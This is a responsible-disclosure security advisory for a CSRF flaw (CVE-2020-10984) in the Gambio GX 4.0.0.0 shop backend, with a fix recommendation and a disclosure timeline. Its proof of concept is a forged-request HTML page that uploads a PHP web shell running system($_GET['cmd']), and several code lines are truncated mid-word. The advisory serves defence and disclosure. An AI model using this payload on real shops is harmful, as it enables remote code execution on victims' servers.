Advisory ID: usd-2020-0031
CVE Number: CVE-2020-10984
Affected Product: Gambio GX
Affected Version: 4.0.0.0
Vulnerability Type: Cross-Site-Reques
Security Risk: Critical
Vendor URL: https://www.gambio.de/
Vendor Status: Fixed in 4.0.1.0 (according to vendor)

Description

The open source application is vulnerable to a number of Cross-Site Request Forgery (CSRF) attacks. CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. A lot of critical functions are executed from the shop backend which is not secured against CSRF attacks. In the worst case CSRF can lead to code execution.

Proof of Concept (PoC)

An attacker could create an HTML page with the following content:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/localhost\/gambio\/admin\/admin.php?do=ContentManagerPages\/saveScriptPage&type
=info", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------1402027837
927304147206710172 7");
        xhr.withCredentials = true;
        var body = "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[selected_language]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[slider_id]\"\r\n" +
          "\r\n" +
          "0\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[scriptpage][content_name][DE]\"\r\n" +
          "\r\n" +
          "shelli\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[scriptpage][content_title][DE]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[scriptpage][content_text][DE]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"editor_identifiers[]\"\r\n" +
          "\r\n" +
          "ckeditor\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[scriptpage][content_type][DE]\"\r\n" +
          "\r\n" +
          "content\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[scriptpage][content_file][DE]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[scriptpage][content_file][DE]\"; filename=\"webs
hell.php\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "\x3c?php\n" +
          "system($_GET[\'cmd\']);\n" +
          "?\x3e\n" +
          "\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
          "Content-Disposition: form-data; name=\"content_manager[scriptpage][content_file][DE]\"\r\n" +
          "\r\n" +
          "file\r\n" +
          "-----------------------------140202783792730414720671017 27\r\n" +
        var aBody = new Uint
        for (var i = 0; i <
          aBody[i] = body.ch
        xhr.send(new Blob([a
      }
    </script>
    <form action="#">
      <input type="button" v
    </form>
  </body>
</html>
```

```
GET /gambio/media/content/we
Host: localhost
User-Agent: Mozilla/5.0 (X11
Accept: text/html,applicatio
Accept-Language: en-US,en;q=
Accept-Encoding: gzip, defla
Connection: close
Upgrade-Insecure-Requests: 1
```

Fix

By using token-based requests CSRF can be prevented. It can be achieved either with state (synchronizer token pattern) or stateless (encrypted or hashed based token pattern). CSRF tokens should be generated on the server-side. They can either be generated once per user session or for each request. An attacker would therefore have to guess or know the randomly generated token for a successful attack.

Timeline

- 2020-03-25 Vulnerability Discovered
- 2020-03-26 Initial Contact Request
- 2020-03-26 Advisory submitted to vendor
- 2020-05-04 Vendor publishes fix in Beta Version of Gambio GX 4.0.1.0 Beta1 https://tracker.gambio-server.net/issues/66736
- 2020-05 Vendor publishes 4.0.1.0 https://developers.gambio.de/changelog/#bugfix4.0.1.0
- 2020-06-18 Security advisory released

Credits

This security vulnerability was found by Gerbert Roitburd of usd AG.

About usd Security Advisories

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security."

to usd AG

In accordance with usd AG's Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this securi ecurity advisory may be updated in order to provide as accurate informati

LabNews

Security Advisory zu GitLab
Dez 15, 2022

Security Advisory zu Acronis Cybe
Nov 9, 2022

Security Advisories zu Apache Tomcat
Nov 24, 2022